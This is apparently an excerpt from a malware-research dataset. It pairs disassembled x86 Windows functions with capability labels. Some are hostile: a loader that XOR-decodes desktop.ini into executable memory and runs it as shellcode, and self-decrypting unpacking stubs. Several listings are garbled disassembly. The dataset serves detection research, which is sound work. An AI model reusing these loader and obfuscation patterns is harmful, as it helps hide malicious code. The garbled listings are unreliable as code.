joyce8/EMBER2024-capa huggingface dataset:
Function at 0x54b178
Capabilities:
Encrypt data using tea

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x5b4a28]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
push dword [eax]
call sub.WS2_32.dll_ntohl
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push dword [eax + 4]
call sub.WS2_32.dll_ntohl
mov dword [ebp - 0x24], eax
and dword [ebp - 8], 0
jmp 0x54b1b0
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 4
jge 0x54b1cd
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 0xc]
push dword [ecx + eax*4]
call sub.WS2_32.dll_ntohl
mov ecx, dword [ebp - 8]
mov dword [ebp + ecx*4 - 0x1c], eax
jmp 0x54b1a9
mov dword [ebp - 0x20], 0xe3779b90
and dword [ebp - 8], 0
jmp 0x54b1e1
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x10
jge 0x54b23c
mov eax, dword [ebp - 4]
shl eax, 4
add eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 4]
add ecx, dword [ebp - 0x20]
xor eax, ecx
mov ecx, dword [ebp - 4]
shr ecx, 5
add ecx, dword [ebp - 0x10]
xor eax, ecx
mov ecx, dword [ebp - 0x24]
sub ecx, eax
mov dword [ebp - 0x24], ecx
mov eax, dword [ebp - 0x24]
shl eax, 4
add eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x24]
add ecx, dword [ebp - 0x20]
xor eax, ecx
mov ecx, dword [ebp - 0x24]
shr ecx, 5
add ecx, dword [ebp - 0x18]
xor eax, ecx
mov ecx, dword [ebp - 4]
sub ecx, eax
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 0x20]
add eax, 0x61c88647
mov dword [ebp - 0x20], eax
jmp 0x54b1da
push dword [ebp - 4]
call sub.WS2_32.dll_htonl
mov ecx, dword [ebp + 0x10]
mov dword [ecx], eax
push dword [ebp - 0x24]
call sub.WS2_32.dll_htonl
mov ecx, dword [ebp + 0x10]
mov dword [ecx + 4], eax
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.004b2f5a
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x40b540
Capabilities:
Read file on windows

Disassembly:
sub esp, 0xc
mov eax, dword [0x414008]
xor eax, esp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x18]
push ebx
push ebp
mov ebp, ecx
mov dword [esp + 8], eax
push esi
mov esi, dword [esp + 0x20]
xor ebx, ebx
push edi
cmp dword [ebp + 0x10], 0xffffffff
mov edi, dword [esp + 0x20]
je 0x40b5c2
mov ecx, 0x100000
nop dword [eax]
nop word [eax + eax]
cmp esi, 0x100000
mov dword [esp + 0x14], 0
push 0
mov eax, esi
cmova eax, ecx
lea ecx, [esp + 0x18]
push ecx
push eax
push edi
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, dword [esp + 0x14]
add ebx, ecx
test eax, eax
je 0x40b5c2
test ecx, ecx
je 0x40b5be
add edi, ecx
sub esi, ecx
mov ecx, 0x100000
jne 0x40b580
xor eax, eax
jmp 0x40b5c7
mov eax, 1
mov ecx, dword [esp + 0x10]
test ecx, ecx
je 0x40b5d1
mov dword [ecx], ebx
mov ecx, dword [esp + 0x18]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0040be31
add esp, 0xc
ret 0xc

Function at 0x40b650
Capabilities:
Get file size

Disassembly:
sub esp, 8
mov eax, dword [0x414008]
xor eax, esp
mov dword [esp + 4], eax
push esi
mov esi, dword [esp + 0x10]
test esi, esi
jne 0x40b67e
mov eax, 1
pop esi
mov ecx, dword [esp + 4]
xor ecx, esp
call fcn.0040be31
add esp, 8
ret 4
mov eax, dword [ecx + 0xc]
cmp eax, 0xffffffff
je 0x40b667
push edi
lea ecx, [esp + 8]
mov dword [esp + 8], 0
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
cmp edi, 0xffffffff
jne 0x40b6c4
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x40b6c4
pop edi
mov eax, 1
pop esi
mov ecx, dword [esp + 4]
xor ecx, esp
call fcn.0040be31
add esp, 8
ret 4
mov ecx, dword [esp + 8]
xor eax, eax
add eax, edi
mov dword [esi], eax
adc ecx, 0
xor eax, eax
mov dword [esi + 4], ecx
mov ecx, dword [esp + 0xc]
pop edi
pop esi
xor ecx, esp
call fcn.0040be31
add esp, 8
ret 4

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x4c0a0c
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe28
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x1d4], edx
mov dword [ebp - 0x1d8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004058dc
xor eax, eax
push ebp
push 0x4c0b4d
push dword fs:[eax]
mov dword fs:[eax], esp
xor edx, edx
push ebp
push 0x4c0b1d
push dword fs:[edx]
mov dword fs:[edx], esp
mov eax, dword [ebp - 4]
call fcn.004058ec
mov ebx, eax
push ebx
call sub.kernel32.dll_DeleteFileA
push ebx
call sub.kernel32.dll_DeleteFileA
mov eax, dword [ebp - 4]
call fcn.0040aa7c
test al, al
jne 0x4c0a8d
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
push ebx
call sub.kernel32.dll_CreateFileA_1
push eax
call sub.kernel32.dll_CloseHandle_1
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x1d0]
call fcn.004038ac
lea eax, [ebp - 0x1d0]
call fcn.00403648
call fcn.004030e4
push dword [0x4cfe90]
push 0x4c0b64
push dword [0x4cfe94]
push 0x4c0b64
push dword [0x4cfe98]
lea eax, [ebp - 0x1d8]
mov edx, 5
call fcn.004057f0
mov eax, dword [ebp - 0x1d8]
lea edx, [ebp - 0x1d4]
call fcn.004bb7d4
mov edx, dword [ebp - 0x1d4]
lea eax, [ebp - 0x1d0]
call fcn.00405c0c
call fcn.00403fa4
call fcn.004030e4
lea eax, [ebp - 0x1d0]
call fcn.00403974
call fcn.004030e4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4c0b27
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4c0b54
lea eax, [ebp - 0x1d8]
mov edx, 2
call fcn.00405480
lea eax, [ebp - 4]
call fcn.0040545c
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x405f20
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
add eax, 0x98ec81ec
add dword [eax], eax
add byte [esi], cl
mov byte [ebx], al
inc ecx
add byte [ebx - 0x367abf38], cl
mov dword [0x410388], eax
je 0x405f40
xor eax, eax
mov esp, ebp
pop ebp
ret
lea edx, [ebp - 8]
mov edi, 0x47d7e8
add byte [ebx - 0x3f7afb3c], al
jne 0x405fd6
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [0x410954], eax
call fcn.00403140
test eax, eax
jne 0x405f8a
push eax
push eax
push eax
fiadd dword [ebp - 4]
xchg ebx, eax
call 0xf8de4f60
dec edx
aam 0x74
cmp edi, dword [eax + 0x5e4ef9]
mov ebx, dword [ebx + 0x5d]
ret
call 0xb13f0
lea edx, [ebp - 0x198]
push edx
push 2
jmp [0xd740c1d0]
fcom qword [ecx]
add byte [eax], al
add byte [ebx - 0x6f3ca21b], cl
mov eax, dword [0x410388]
dec eax
mov dword [0x410388], eax
jne 0x406004
call 0x1e4aaf
xchg ebp, eax
adc eax, 0xbf401fd4
invalid
push esp
invalid
inc ecx

Function at 0x40b080
Capabilities:
Read file on windows

Disassembly:
mov esp, 0x438b0000
pop eax
push eax
call fcn.00404f40
mov eax, dword [ebp + 0x22]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
pop edx
jge 0x40b09b
lodsb al, byte [esi]
inc esi
cmp ecx, dword [ebx - 0x3ef4ebb2]
mov dword [ebp + 0x10], 0
jne 0x40b10d
jno 0x40b027
mov al, byte [esi + 0x15]
pop eax
sal byte [esi + eax - 0x75], 0x56
add al, 0x8d
dec ebp
or byte [edx], ch
inc esi
adc eax, 0x674c058
mov edx, dword [esi + 4]
lea ecx, [ebp + 8]
push 0
cmp eax, 0x6a006a
push 0
invalid
mov eax, dword [esi + 0xc]
test dword [ebx + 0x4e5d2374], esp
or byte [ecx - 0x37], bl
jne 0x40b137
mov ecx, dword [esi + 0x50]
mov dword [eax + 8], ecx
mov ecx, dword [edx]
push eax
mov edx, dword [esi - 0x6d]
mov ecx, 0xb9000020
call fcn.0040b810
cmp al, 0x56
xor ecx, dword [ecx - 0x6674f3a7]
or ecx, dword [ebx - 0x21ac22ab]
mov dword [0x468b5010], eax
mov ebx, dword [ecx - 0x22aa74f5]
push ebx
fisub word [ebx + 0x468b5010]
and dl, byte [ecx + 0x57]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
add al, al
or dword [edi], eax
xor ebp, dword [eax]
jmp 0x7c41ad85
Function at 0x10006c70
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x10006c7f
pop dword [ebp - 0x50]
mov eax, 0x10006c7f
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0xa11b724
sub dword [ebp - 0x60], 0xbbbf71d9
mov dword [ebp - 0x5c], 0x6f1ac646
add dword [ebp - 0x5c], 0xc31885ff
mov dword [ebp - 0x58], 0x3e5cc4c
add dword [ebp - 0x58], 0x486677e2
mov dword [ebp - 0x54], 0x689baa86
add dword [ebp - 0x54], 0x9764557a
lea eax, [ebp - 0x60]
push eax
mov eax, 0x90056675
add eax, 0x8000c9a3
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0x58f37aad
add dword [ebp - 0x60], 0x1b7eeea9
mov dword [ebp - 0x5c], 0xa5204b91
add dword [ebp - 0x5c], 0x9c4c15e4
mov dword [ebp - 0x58], 0xf59906b2
sub dword [ebp - 0x58], 0x92299a46
mov dword [ebp - 0x54], 0xafedd867
add dword [ebp - 0x54], 0x50122799
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, 0xf5801aa4
add eax, 0x1a86157c
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x5449b
push 0
call eax
mov ecx, 0xedf0b2c9
add ecx, 0x120f9615
mov edx, eax
mov edi, 0xdf040829
add edi, 0x31057dd7
add edi, dword [ebp - 0x50]
mov esi, 0x7f1a32c6
sub esi, 0xaa99daa3
add dword [ebp - 0x44], 0x9613cfc3
mov ebx, dword [edi]
mov dword [ebp - 0x48], 0xbbd14373
xor ebx, esi
mov dword [edx], ebx
xor dword [ebp - 4], 0xf2ae9d53
add edx, 0xad7a2b28
add edx, 0x5285d4dc
add edi, 0x67e1ee03
add edi, 0x981e1201
loop 0x10006d9c
add eax, 0x1164b
mov ebx, eax
add eax, 0x43b9be46
sub eax, 0x43b9be41
mov ecx, 0x84fbc936
add ecx, 0x8b0436ca
add ecx, dword [ebp - 0x50]
call ebx
leave
ret
Function at 0x10035c20
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
mov eax, dword [0x1008a930]
cmp eax, 0xffffffff
je 0x10035c76
push esi
push eax
call dword [sym.imp.kernel32.dll_TlsGetValue]
mov esi, eax
test esi, esi
je 0x10035c67
mov ecx, dword [0x1008ba4c]
xor eax, eax
cmp esi, ecx
cmove ecx, eax
mov dword [0x1008ba4c], ecx
mov ecx, esi
call fcn.1001d7b0
mov ecx, esi
call fcn.1001d750
push 0x16c
push esi
call sym.ScCore.dll_public:_static_class_ScCore::TypeInfo____cdecl_ScCore::TypeInfo::parse_class_ScCore::String_const___int__class_ScCore::String___class_ScCore::String___class_ScCore::String___class_ScCore::TypeInfo___
add esp, 8
push 0
push dword [0x1008a930]
call dword [sym.imp.kernel32.dll_TlsSetValue]
pop esi
ret
Function at 0x40c28f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x40c29e
pop dword [ebp - 0x44]
mov eax, 0x40c29e
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0x701ac3e5
sub dword [ebp - 0x54], 0x21c87e9a
mov dword [ebp - 0x50], 0x7a3bd812
sub dword [ebp - 0x50], 0x48088bcd
mov dword [ebp - 0x4c], 0xb505b95a
sub dword [ebp - 0x4c], 0x68b9752c
mov dword [ebp - 0x48], 0x5c5d24c7
sub dword [ebp - 0x48], 0x5c5d24c7
lea eax, [ebp - 0x54]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0x83fb4775
add dword [ebp - 0x54], 0xf07721e1
mov dword [ebp - 0x50], 0x1031ef56
add dword [ebp - 0x50], 0x313a721f
mov dword [ebp - 0x4c], 0x9c54067c
add dword [ebp - 0x4c], 0xc71b65f0
mov dword [ebp - 0x48], 0x8eac6b31
add dword [ebp - 0x48], 0x715394cf
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, 0xe9183604
sub eax, 0xe8d7557c
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
push 0x1000
push 0x35e36
push 0
call eax
mov ecx, 0x982fbfa4
add ecx, 0x67d08156
mov edi, eax
mov edx, 0x41f000
add edx, dword [ebp - 0x44]
mov esi, 0x7653aa41
xor dword [ebp - 4], ecx
mov ebx, dword [edx]
mov dword [ebp - 0x10], 0x89eb39d3
xor ebx, esi
add dword [ebp - 0x28], ecx
mov dword [edi], ebx
xor dword [ebp - 4], 0x699858df
add edi, 0x19c7e011
add edi, 0xe6381ff3
add edx, 0x69953294
add edx, 0x966acd70
loop 0x40c3aa
add eax, 0xdd412729
sub eax, 0xdd40306e
mov ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x44]
call ebx
leave
ret
Function at 0x401000
Capabilities:
Terminate process

Disassembly:
jmp 0x442cfa
push 0x14
push 0x462e80
call fcn.004420c0
push 1
call fcn.004428b2
pop ecx
test al, al
je 0x442ce4
xor bl, bl
mov byte [ebp - 0x19], bl
and dword [ebp - 4], 0
call fcn.00442880
mov byte [ebp - 0x24], al
mov eax, dword [0x468f84]
xor ecx, ecx
inc ecx
cmp eax, ecx
je 0x442ce4
test eax, eax
jne 0x442c08
mov dword [0x468f84], ecx
push 0x454420
push 0x454408
call fcn.00449c0b
pop ecx
pop ecx
test eax, eax
je 0x442beb
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x442cd4
push 0x454404
push 0x4543b0
call fcn.00449baf
pop ecx
pop ecx
mov dword [0x468f84], 2
jmp 0x442c0d
mov bl, cl
mov byte [ebp - 0x19], bl
push dword [ebp - 0x24]
call fcn.00442a24
pop ecx
call fcn.00443635
mov esi, eax
xor edi, edi
cmp dword [esi], edi
je 0x442c3e
push esi
call fcn.00442990
pop ecx
test al, al
je 0x442c3e
mov esi, dword [esi]
push edi
push 2
push edi
mov ecx, esi
call dword [0x4543ac]
call esi
call fcn.0044363b
mov esi, eax
cmp dword [esi], edi
je 0x442c5c
push esi
call fcn.00442990
pop ecx
test al, al
je 0x442c5c
push dword [esi]
call fcn.0044906e
pop ecx
call fcn.00443464
movzx eax, ax
push eax
call fcn.00449b5c
push eax
push edi
push 0x400000
call main
mov esi, eax
call fcn.0044349d
test al, al
je 0x442ceb
test bl, bl
jne 0x442c8a
call fcn.00449049
push edi
push 1
call fcn.00442a41
pop ecx
pop ecx
mov dword [ebp - 4], 0xfffffffe
mov eax, esi
jmp 0x442cd4
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret
push 7
call fcn.0044334a
push esi
call fcn.004490a6
push dword [ebp - 0x20]
call fcn.00449058
int3
call fcn.00443582
jmp 0x442b7e
Function at 0x402324
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
shr edi, 2
xor ebx, ebx
mov eax, edi
mov dword [ebp - 4], 1
shr eax, 1
mov ecx, ebx
add eax, 3
mov dword [esi], eax
add esi, 0x10
test edi, edi
je 0x40235b
mov eax, dword [edx]
lea edx, [edx + 4]
mov dword [esi + ecx*4], eax
inc ecx
cmp ecx, edi
jb 0x40234e
mov edx, dword [esi + edi*4 - 4]
imul eax, edi, 0xc
add eax, 0x70
add eax, esi
mov dword [ebp + 8], eax
test ebx, ebx
jne 0x4023c9
movzx eax, dl
mov ebx, dword [ebp - 4]
push 0x1b
movzx ecx, byte [eax + str.cw]
mov eax, edx
shr eax, 0x18
shl ecx, 8
movzx eax, byte [eax + str.cw]
or ecx, eax
mov eax, edx
shr eax, 0x10
movzx eax, al
shr edx, 8
shl ecx, 8
movzx eax, byte [eax + str.cw]
or ecx, eax
movzx eax, dl
shl ecx, 8
movzx edx, byte [eax + str.cw]
xor edx, ebx
add ebx, ebx
or edx, ecx
test ebx, 0x100
pop eax
cmovne ebx, eax
mov dword [ebp - 4], ebx
mov ebx, edi
jmp 0x402416
cmp ebx, 4
jne 0x402419
cmp edi, 6
jbe 0x402419
mov eax, edx
shr eax, 0x10
movzx eax, al
movzx ecx, byte [eax + str.cw]
mov eax, edx
shr eax, 0x18
movzx eax, byte [eax + str.cw]
shl eax, 8
or ecx, eax
mov eax, edx
shr eax, 8
movzx eax, al
shl ecx, 8
movzx eax, byte [eax + str.cw]
or ecx, eax
movzx eax, dl
shl ecx, 8
movzx edx, byte [eax + str.cw]
or edx, ecx
mov eax, dword [ebp + 8]
xor edx, dword [esi]
dec ebx
mov dword [esi + edi*4], edx
add esi, 4
cmp esi, eax
jne 0x40236a
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x403fb1
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp al, 5
jb 0x403fe0
call fcn.00403e5d
push 7
pop edx
cmp eax, edx
jb 0x403fe0
lea ecx, [ebp - 0x10]
call fcn.00403e45
mov eax, dword [ebp - 0xc]
shr eax, 0x1d
and eax, 1
leave
ret
xor eax, eax
leave
ret

Function at 0x40403f
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp al, 5
jb 0x404061
lea eax, [ebp - 0x10]
push eax
call fcn.00404021
test eax, eax
je 0x404061
mov eax, dword [ebp - 8]
leave
ret
xor eax, eax
leave
ret

Function at 0x404241
Capabilities:
Check os version
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2d4
mov eax, dword [0x465044]
xor eax, ebp
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp ax, 6
je 0x40428a
push str.SetDefaultDllDirectories
push 0x4545d0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40428a
push 0xc00
call eax
test eax, eax
jne 0x404327
push 0x106
lea eax, [ebp - 0x2d4]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x404327
cmp eax, 0x104
ja 0x404327
push 0x5c
pop ecx
cmp word [ebp + eax*2 - 0x2d6], cx
je 0x4042c1
mov word [ebp + eax*2 - 0x2d4], cx
inc eax
mov cl, byte [str.userenv]
push esi
mov esi, str.userenv
test cl, cl
je 0x404326
push ebx
push edi
lea edi, [ebp - 0x2d4]
push 0x6c
lea edi, [edi + eax*2]
pop ebx
mov edx, edi
jmp 0x4042ee
movzx eax, cl
mov cl, byte [esi]
mov word [edx], ax
add edx, 2
inc esi
test cl, cl
jne 0x4042e3
push 0x2e
pop eax
push 0x64
mov word [edx], ax
pop eax
mov word [edx + 2], ax
xor eax, eax
push 8
push eax
mov word [edx + 8], ax
lea eax, [ebp - 0x2d4]
push eax
mov word [edx + 4], bx
mov word [edx + 6], bx
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov cl, byte [esi]
test cl, cl
jne 0x4042df
pop edi
pop ebx
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0044204a
leave
ret
Function at 0x407ca7
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
xor edx, edx
xor eax, eax
push ebx
push esi
mov esi, dword [ebp + 8]
inc eax
push edi
push 0x20
pop ecx
or dword [esi + 0x90], 0xffffffff
or dword [esi + 0x94], 0xffffffff
mov dword [esi + 0x30], eax
mov dword [esi + 0x44], eax
mov eax, dword [esi + 4]
cmp eax, ecx
mov dword [esi + 0x78], edx
cmova eax, ecx
mov dword [esi + 0x7c], edx
mov dword [esi + 0x54], eax
mov eax, dword [esi]
mov dword [esi + 0x34], edx
mov dword [esi + 0x38], edx
mov dword [esi + 0x3c], edx
mov dword [esi + 0x40], edx
mov dword [esi + 0x70], edx
mov dword [esi + 0x88], edx
mov dword [esi + 0x68], edx
mov dword [esi + 0x6c], edx
mov dword [esi + 0x48], edx
mov dword [esi + 0x4c], edx
mov dword [esi + 0x50], edx
mov dword [esi + 0x60], edx
mov dword [esi + 0x64], edx
mov dword [esi + 0x80], edx
mov dword [esi + 0x84], edx
mov dword [esi + 0x58], edx
cmp eax, dword [esi + 0x20]
je 0x407d51
lea edi, [esi + 0xc8]
mov ebx, ecx
cmp dword [edi + 8], edx
je 0x407d32
push edi
call fcn.00407bc4
xor edx, edx
add edi, 0x28
sub ebx, 1
jne 0x407d25
cmp dword [esi + 0x5c], ebx
je 0x407d4c
mov eax, dword [esi + 0x14]
push dword [esi + 0x5c]
push eax
call dword [eax + 4]
and dword [esi + 0x5c], ebx
mov eax, dword [esi]
mov dword [esi + 0x20], eax
push dword [esi + 0x10]
lea eax, [esi + 0x98]
push eax
call fcn.00407ab3
mov ecx, dword [esi + 0x58]
and dword [esi + 0x24], 0
and dword [esi + 0x28], 0
lea eax, [ecx + 5]
imul ebx, eax, 0x28
lea eax, [ecx + 1]
mov dword [esi + 0x58], eax
add ebx, esi
push ebx
call fcn.004080a5
mov edi, eax
test edi, edi
jne 0x407dcd
lea eax, [ebx + 0x20]
push eax
call fcn.0040a93f
mov edi, eax
test edi, edi
jne 0x407dcd
lea eax, [ebx + 0x1c]
push eax
call fcn.0040a93f
mov edi, eax
test edi, edi
jne 0x407dcd
push ebx
call fcn.00407f9e
mov edi, eax
test edi, edi
je 0x407dcd
and dword [esi + 0x44], 0
lea ebx, [esi + 0xc8]
push 0x20
pop esi
push ebx
call fcn.00408027
add ebx, 0x28
sub esi, 1
jne 0x407dbc
mov esi, dword [ebp + 8]
movzx eax, di
or eax, 0x80070000
test edi, edi
cmovle eax, edi
test eax, eax
je 0x407de1
mov dword [esi + 0x40], eax
xor edx, edx
cmp dword [esi + 0x38], edx
jne 0x407df5
cmp dword [esi + 0x40], edx
jne 0x407df5
cmp dword [esi + 0x3c], edx
jne 0x407df5
mov dword [esi + 0x44], edx
xor ecx, ecx
cmp dword [esi + 0x44], edx
pop edi
pop esi
cmovne eax, ecx
pop ebx
pop ebp
ret 4

Function at 0x409f22
Capabilities:
Hash data using sha256

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
and dword [eax + 8], 0
and dword [eax + 0xc], 0
mov dword [eax + 0x20], 0x6a09e667
mov dword [eax + 0x24], 0xbb67ae85
mov dword [eax + 0x28], 0x3c6ef372
mov dword [eax + 0x2c], 0xa54ff53a
mov dword [eax + 0x30], 0x510e527f
mov dword [eax + 0x34], 0x9b05688c
mov dword [eax + 0x38], 0x1f83d9ab
mov dword [eax + 0x3c], 0x5be0cd19
pop ebp
ret 4
Function at 0x40a891
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
lea eax, [ebp - 4]
xor esi, esi
push eax
push esi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push esi
push esi
call fcn.0044881e
mov ecx, dword [ebp + 8]
add esp, 0x18
mov dword [ecx], eax
test eax, eax
jne 0x40a8bd
call fcn.0040ab04
mov esi, eax
mov eax, esi
pop esi
leave
ret 0xc

Function at 0x40eaa5
Capabilities:
Open clipboard

Disassembly:
push 0x18
mov eax, 0x450e05
call fcn.0044231e
push dword [ebp + 8]
and dword [ebp - 4], 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
setne byte [ebp + 0xb]
test eax, eax
je 0x40eb61
call dword [sym.imp.USER32.dll_EmptyClipboard]
test eax, eax
je 0x40eb61
mov esi, dword [ebp + 0xc]
mov eax, dword [esi + 4]
lea eax, [eax*2 + 2]
push eax
push dword [esi]
push 0xd
call fcn.0040eb7a
push 0
mov bl, al
lea eax, [ebp - 0x18]
push esi
push eax
call fcn.0040d6e4
mov ecx, dword [ebp - 0x14]
xor eax, eax
inc eax
inc ecx
push ecx
push dword [ebp - 0x18]
mov byte [ebp - 4], al
push eax
call fcn.0040eb7a
push 1
pop edi
push edi
test al, al
movzx ebx, bl
push esi
lea eax, [ebp - 0x24]
cmovne ebx, edi
push eax
call fcn.0040d6e4
push eax
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 2
call fcn.0040bea7
push dword [ebp - 0x24]
call fcn.004422d4
mov eax, dword [ebp - 0x14]
pop ecx
inc eax
push eax
push dword [ebp - 0x18]
push 7
call fcn.0040eb7a
push dword [ebp - 0x18]
test al, al
movzx ebx, bl
cmovne ebx, edi
call fcn.004422d4
pop ecx
jmp 0x40eb63
xor bl, bl
lea ecx, [ebp + 0xb]
call fcn.0040ea77
mov al, bl
call fcn.004422e7
ret 8

Function at 0x40eb7a
Capabilities:
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push dword [ebp + 0x10]
xor ebx, ebx
lea ecx, [ebp - 4]
push 0x2002
mov dword [ebp - 4], ebx
call fcn.00412ae1
test al, al
je 0x40ebd3
push esi
mov esi, dword [ebp - 4]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
test eax, eax
je 0x40ebd2
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push eax
call fcn.00443750
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push dword [ebp - 4]
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_SetClipboardData]
test eax, eax
je 0x40ebd2
mov dword [ebp - 4], ebx
mov bl, 1
pop esi
lea ecx, [ebp - 4]
call fcn.00412b04
mov al, bl
pop ebx
leave
ret 0xc

Function at 0x41016e
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp byte [0x468c58], 0
jne 0x4101a5
push esi
push dword [ebp + 8]
lea eax, [ebp - 0xc]
push eax
call fcn.0040d2c2
push dword [ebp + 0xc]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push dword [ebp - 0xc]
mov esi, eax
call fcn.004422d4
pop ecx
test esi, esi
pop esi
jmp 0x4101b3
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
je 0x4101b9
mov al, 1
